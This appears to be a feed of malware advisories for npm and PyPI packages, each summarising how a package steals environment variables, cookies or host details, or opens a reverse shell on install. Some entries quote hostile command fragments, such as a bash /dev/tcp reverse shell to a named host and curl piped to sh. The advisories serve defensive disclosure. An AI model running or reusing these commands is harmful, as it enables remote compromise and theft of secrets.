Malicious code in @nimbusedge2/x (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 45d678f278cdb8171d7ac41ffa9f50b57ccb508dfa5a64bec6430efa17b2662e package.json declares a preinstall lifecycle script that runs automatically on npm install. The script invokes bash -i &...

Malicious code in @nimbusedge2/xa (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 537505221bc3cd73b0d5a60062d6ad127211b2d1be1f1cdfdac13053e2224a11 package.json declares a preinstall lifecycle script that runs an interactive bash reverse shell to the hardcoded host 147.93.157.202.nip.io on TCP po...

Malicious code in @nimbsuedge3/xar (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 85a83fa3df94cc0a526feb9df2e8a877f89713501a083059a4b8ae5a9bf2fcaf package.json declares a preinstall lifecycle script that runs bash -i & /dev/tcp/147.93.157.202.nip.io/8080 to open an interactive reverse shell to a...

Malicious code in @pwaplatform/module-sso-integration (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4f674867f67f5a8495dbc953913b6cc7c0d8b9d094161c660ca4dfd5449506ba @pwaplatform/[email protected] declares both preinstall and postinstall lifecycle scripts that execute payload.js on npm install...

Malicious code in @siriusbeyond/auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4ed929a2d8cbd15860eaafb9eb773ad02f9b31f361514b47987eca8dfa1ae695 Package @siriusbeyond/[email protected] registers both preinstall and postinstall lifecycle scripts that execute callback.js on every npm install...

Malicious code in starbucks-sdk (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f42de3e225b6f8d6be04fbf613ae4d17458626c92f2cfe1bf1b4476fe132e761 The package's package.json declares a preinstall script that runs callback.js on npm install. callback.js collects os.hostname, os.userInfo,...

Malicious code in radio-player-theme (npm)

radio-player-theme presents itself as a radio player theme. The published tarball contains three files: package.json, style.css declared as main and payload.js, which holds the package's only executable code. payload.js is a browser payload. On execution it reads location.origin and...

Malicious code in urc (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 abbaafd909f0cd09835c29c401432a9aa6094c2007973ba23e70f3fe06b07785 Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. --- Category: PROBABLYPENTES...

Malicious code in keroeltop (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0c1791fee7ca80cf7d21f57837b64f0c31594194a2733fa7a94eda87e9235199 [email protected] is a lure package whose index.js runs on every npm lifecycle phase preinstall/install/postinstall/prepare and issues an HTTP reque...

Malicious code in py-venv-doctor (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 976f29262fc2c20f615a0aa8b0e0bb9cd3ab3cbbe1c019da6f17c3c8c108d185 On every CLI invocation, py-venv-doctor's default 'telemetry' path builds a snapshot containing the complete os.environ dictionary all environment...

Malicious code in @shared-web/utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5425b12d827e5327939280ed16ddd0a613b28d0d728a0a8b193f342a666c65e9 package.json declares scripts.install: node index.js, which loads lib/core.js. On npm install, that module reads os.userInfo.username, os.hostname, a...

Malicious code in chai-as-indexed (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 424ebdaa04d4f7e8ce306f536421ac65d79467e73b05877caac6b72071bdaef9 The package's main entry index.js loads./lib/initializeCaller, which on require POSTs the full process.env of the installer's Node process to a...

Malicious code in @insiderintelligence/googleadmanager (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a659995af42be0d4f8360b45a37295eab4d68f513c6b3aa49903b3028e0567f5 The package's install lifecycle script runs node index.js, which loads lib/core.js. On install, that module collects os.userInfo.username, os.hostnam...

Malicious code in tailwindcss-forms-ui (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6f2bdfef8937b1e6ef4979181693e00adbdfbe7521b8b240268f76beff8b3be8 The package name typosquats @tailwindcss/forms but its main entry src/index.js is a 39 KB obfuscator.io bundle 303-entry rotating string array,...

Malicious code in @shared-runtime/modules (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bc6095cf4766c948193c22d8c0e775010fc3ab47733a1020fb8fd5367d88e5e9 @shared-runtime/[email protected] collects the installer's OS username os.userInfo.username, hostname os.hostname and current working-directory basename...

Malicious code in internallib_v949 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 16b7999911edfe600ebe4f34972eb325b48d6b96e1ac4212f0881b683a04abd9 index.js line 5 invokes childprocess.exec to run '/bin/bash -c "curl https://reverse-shell.sh/... | sh"', fetching and piping a remote shell script...

Malicious code in openmct-heatmap (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 3c10a6524a4d56f0f938712d6cee661457f0685b67ac34345d73794cccfb3dd8 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in test890-auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a873f4ca1e603a5d6dc6d888de73a7f2c766a66af13f56a49538034e1e8706fd On npm install, index.js runs as a preinstall script and collects installer-side identifiers - home directory path, hostname, username, configured DN...

Malicious code in test89-auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c2b8794dc6672c38596cd891ce414dc2bce8c9db38cd8e08afc51b411415639e [email protected] runs node index.js from its preinstall lifecycle hook. On npm install, index.js collects host identity hostname, whoami, id, uname...

Malicious code in test8999-auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6edad84dcdfc0fbb2164a86dd74f831f3da2bc940794e1f157f9de2d159f7545 package.json declares a preinstall hook that runs index.js on npm install. index.js requires childprocess, os, http, and https, then collects host...

Malicious code in test899-auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 64702ec2b2b0fcc5ec6eb56e8ca63fc94d3ff54fdcd45509fcc9640ccbbffdcf On npm install, the package's preinstall hook executes index.js which collects installer host and identity information hostname, platform, OS release...

Malicious code in @shared-web/assets (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e8fd9342e97dc9f655a994fe1091125f717cbfa7b89aa6a2333662ad23ad6771 The package runs an install lifecycle script node index.js and also executes ./lib/core.js on require. That code collects os.userInfo.username,...

Malicious code in sinful (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 91b1a123340bff39c861a85b61e1af355895b003c99287d61701d66e1b81939b The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in tailwindcss-form (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f5c6b39e2bde3263d10e2f20e707d06b981e746fda83ef7772233db33ae7a4f2 Package name mimics the legitimate tailwindcss-forms plugin repo field points at tailwindlabs/tailwindcss-forms but the main entry src/index.js is an...

Malicious code in @sanzoffc/baileys (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4393cd98419ed1fce683c0fde038bce830873769d85d69e64674df61f68502bc This package is a fork of the Baileys WhatsApp library that adds covert remote-controlled behavior driven by the installer's authenticated WhatsApp...

Malicious code in xzvbailsx (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ac9176da252791a96b93c24e702c2245fb96d9655cdf9f31d61e9bc3e0c21528 package.json declares the dependency libsignal with source github:tenka-san/libsignal-node, an unpinned GitHub ref with no commit SHA, tag, or...

Malicious code in xzvbailey (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f961ec09baa139430fb2b04c3fef5350f16f659c8de585787a26f3c8535fca38 package.json declares the libsignal dependency as github:tenka-san/libsignal-node, a non-registry source pointing at a personal GitHub account with n...

Malicious code in xa424234657567 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0174148efc99cd1130b3b9f2c57599aac0f80ead454fd7dc0f397386db891b0c The package ships console.js, which when loaded in a browser on any host matching duel.com fetches https://unpkg.com/[email protected]/1.js and...

Malicious code in zero-baileys (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 58d472a4390be835fc8ffd5e62a7d3b2bb7270ad6ea651d9cd15bc7abd7735c8 package.json redirects the libsignal dependency to npm:@otaxayun/libsignal-node@latest. The @latest dist-tag is mutable and unpinned, so each npm...

Malicious code in @lekzo/baileys (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector da5caafea4a5656343feb4b52bf0007c98e6ed65a41ad22c79f24c0f1c48566f package.json declares the libsignal dependency as github:canove/libsignal-node — a bare GitHub owner/repo reference with no commit SHA, tag, or semve...

Malicious code in requests-auroras (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 afa39517de816c01400eef99ef6ebce1357910c217c5e0ff55e4a252ea15a4c5 During installation, package starts a reverse shell. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign:...

Malicious code in blue-string-formatter-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector aa3c9f5edcc636fc8d38e40a6bb225aed8f6b638be31f2abf8b6e747212c9565 The package advertises itself as 'Utility helpers for string formatting' but its shipped main file performs a single behavior: an XMLHttpRequest GET ...

Malicious code in @tink/tink-link-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 826e81131e7b2a296324d469c10f1e44d5b33683703c8a2e0f101a8674c1cfcf The package impersonates the Tink open-banking SDK name @tink/tink-link-core, description 'Enterprise-grade client core for open banking', homepage...

Malicious code in test89078-auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c1ac938360c682e2489d11de9278697e7e2e85d73c612d2ab60ed28553bb5573 The package's preinstall script scripts.preinstall = 'node index.js' runs automatically on npm install and collects os.userInfo.username and...

Malicious code in requests-triwes (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 fa01be0759de95b7a1628930718f7b3bf372eff0c777aace419196e327e77078 During installation, package starts a reverse shell. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign:...

Malicious code in requests-asetwe (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c0316bf059751a9ece4fb034e225276529692338dc671ad9929e16faf8c843d5 setup.py of requests-asetwe unconditionally executes os.system'curl -s https://w5223hr2yr968bhwql8bv5n8ozuqih66.oastify.com' during pip install. The...

Malicious code in index-forum (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4b837b7b56f9b239c9d0c86bd2e7d432d3223e496a9820c54b0a14fd3c542b22 The package was found to contain malicious code or consuming dependency that contains malicious code Source: kam193...

Malicious code in kartykgithub-multiversion-a (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware cf524b1c8a586bcece6d65140e168a40adec8699c1cc7af61263bfd2a6b84543 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in pyjstat-smooth (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f65efaaf25b41d789624595550d966762b21747205b23f15325db2e05924387d The package advertised as a JSON-stat library ships a test module that, when the test suite is executed, walks the /app and /Users directory trees,...

Malicious code in @kartyk-github-org/takedown-a (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware bf2fb1adf14524d97cbb2a621413f9d25b8ac020fc927b92fa8f9aff52edef70 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in @kartyk-github-org/takedown-b (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware f59dc68aae74875f986021660cb054d4055e7f7113e31234e8a9589c44edfb6f Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in tailwindcss-form-ui (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c7a21e4623006a0c69e3dfeb80857eadd9102550c8a77c1d95e880245a5f0fa9 Package name and repository field impersonate the legitimate tailwindlabs/tailwindcss-forms plugin, but the shipped main entry src/index.js is a full...

Malicious code in tailwindcss-form-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1eab685b70dc7394ba9eade13925f6da52267f61edcf8ba204bcf9ac3bd4c7bc The package publishes under the name tailwindcss-form-utils while pointing its repository field at https://github.com/tailwindlabs/tailwindcss-forms...

Malicious code in @railone/image-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ebec05d8415347cef93849315a26f4221e34efa278fffe1b89700af039246dc6 On import, index.js calls initialize which spawns a detached, stdio-suppressed, windowsHide node loader.js child init.js and records its PID. loader....

Malicious code in aiosendletter (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 29baa6f2cbfb2ef9907be7830505e33e82b5a1e6a45eb7f995022d09f5841f09 The package advertises itself as a 'safe bug reporter' but its init function archives the contents of %LOCALAPPDATA%\logs with shutil.makearchive and...

Malicious code in confx1789550882 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 72ce9bca41cb0378952b582d6f115a3bffd2acea4999a90bae5f916428921b64 The package's main file index.js is an IIFE that, when loaded in a browser same-origin context e.g. via unpkg, reads location.href and document.cooki...

Malicious code in randompkgb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 80714d50d1dce2dbe400bba24113e27d669cc28dfc0d2b9194214a6322d3dc45 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in randompkgd (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware c0ebd1d508d7c8ae4aa2a0693b9d07720a837307b1a5c343c931c6e7d72d6390 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in randompkge (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 95eb389e78a05b76dfefafd460f3280f3fabf8fcd1dfc55946b04bef84b26116 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in randompkga (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c4e7dfd8fb150e4c7f087a17c2ed162a8e48fe7e4e253a68df901f0e775fd68c package.json declares a postinstall lifecycle script cd "$INITCWD" && npm i randompkgb that, on npm install, installs the additional npm package...